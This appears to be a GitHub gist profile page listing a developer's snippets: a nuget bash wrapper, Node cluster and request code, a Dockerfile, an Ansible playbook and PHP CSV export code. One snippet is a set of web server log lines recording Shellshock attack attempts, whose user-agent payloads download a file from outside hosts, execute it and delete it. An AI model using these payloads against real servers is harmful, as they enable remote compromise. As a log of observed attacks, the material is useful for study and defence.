Skip to content

Instantly share code, notes, and snippets.

View davidporter-id-au's full-sized avatar

David Porter davidporter-id-au

View GitHub Profile
#!/bin/bash -e
# Path normalisation: http://www.cyberciti.biz/faq/unix-linux-appleosx-bsd-bash-script-find-what-directory-itsstoredin/
_script="$(readlink ${BASH_SOURCE[0]})"
_base="$(dirname $_script)"
mono "$_base/"nuget.exe $@
@davidporter-id-au
davidporter-id-au / Es6 version
Last active August 29, 2015 14:23
Simple data pipe example
'use strict'
const fs = require('fs');
const uuid = require('uuid');
const request = require('request-promise');
const _ = require('lodash');
const baseUrl = 'http://localhost:3000';
const co = require('co');
var cluster = require('cluster');
var workers = process.env.WORKERS || require('os').cpus().length;
if (cluster.isMaster) {
console.log('start cluster with %s workers', workers);
for (var i = 0; i < workers; ++i) {
var worker = cluster.fork().process;
217.72.242.16 - - [28/Sep/2014:14:46:41 +0000] "GET / HTTP/1.0" 301 564 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
217.72.242.16 - - [28/Sep/2014:14:46:41 +0000] "GET /cgi-bin/test.sh HTTP/1.0" 301 594 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
217.72.242.16 - - [28/Sep/2014:14:46:41 +0000] "GET /test HTTP/1.0" 301 572 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
174.143.168.121 - - [29/Sep/2014:21:55:35 +0000] "GET //cgi-bin/bash HTTP/1.0" 301 588 "-" "() { :;}; /bin/bash -c \"wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\""
'use strict';
var config = require('../support/config'),
request = require('request'),
co = require('co'),
thunkify = require('thunkify'),
get = thunkify(request.get);
var host = config.url.replace(/http:\/\/m/, '');
module.exports = function(){
# To make this work, put in a file called 'Dockerfile' in a directory and then
# call `docker build . `
FROM ubuntu:14.04
MAINTAINER David Porter
RUN apt-get update && apt-get install -y nodeJS python-pip git #wont actually work because apt's version of node is retard
RUN npm install bower
#See image afterward with `docker images`
# playbook.yml
---
- hosts: aws
user: ubuntu
sudo: True
tasks:
- name: 1 Install ALL THE THINGS!!
action: "apt pkg={{ item }} state=installed"
with_items:
- apache2
@davidporter-id-au
davidporter-id-au / gist:671bd5fd3cfd7621f7de
Last active August 29, 2015 14:03
Export a table to CSV
/**
* export CSV
*/
function exportCSV() {
header("Content-Type:text/plain");
$users = $this->db->get('users')->result_array();
foreach($users as $u) {
echo implode(',', $u) . "\r\n";
//HLL left outer join
//Do whatever join conditions you need here
$users = $this->db->get('users')->result_array();
foreach($i = 0; $i < count($users); $i++) {
$this->db2->where('userid', $users[$i]['userid']);
if($staff = $this->db2->get('staff')->row_array()){
$users[$i]['staffDetails'] = $staff;
}